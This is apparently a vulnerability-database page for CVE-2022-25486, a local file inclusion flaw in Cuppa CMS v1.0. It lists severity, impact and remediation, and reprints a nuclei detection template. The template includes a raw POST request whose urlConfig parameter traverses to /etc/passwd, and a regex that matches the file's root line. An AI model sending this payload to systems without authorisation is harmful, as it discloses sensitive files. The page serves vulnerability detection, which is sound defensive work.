HexBrain

Browse / CVEs / CVE-2022-25486

CVE-2022-25486· cuppacms / cuppacms· CWE-829

Cuppa CMS v1.0 - Local File Inclusion

highseverity
7.8CVSS score
10%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

CuppaCMS v1.0 was discovered to contain a local file inclusion via the url parameter in /alerts/alertConfigField.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.

Fix

Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the LFI vulnerability.

How to confirm it

Send: POST /alerts/alertConfigField.php
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-25486 -u <target>

The full check
id: CVE-2022-25486

info:
  name: Cuppa CMS v1.0 - Local File Inclusion
  author: theamanrawat
  severity: high
  description: |
    CuppaCMS v1.0 was discovered to contain a local file inclusion via the url parameter in /alerts/alertConfigField.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25486
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2022-25486
    cwe-id: CWE-829
    epss-score: 0.09966
    epss-percentile: 0.95635
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,lfi,cuppa,cuppacms,vkev,vuln

http:
  - raw:
      - |
        POST /alerts/alertConfigField.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        urlConfig=../../../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from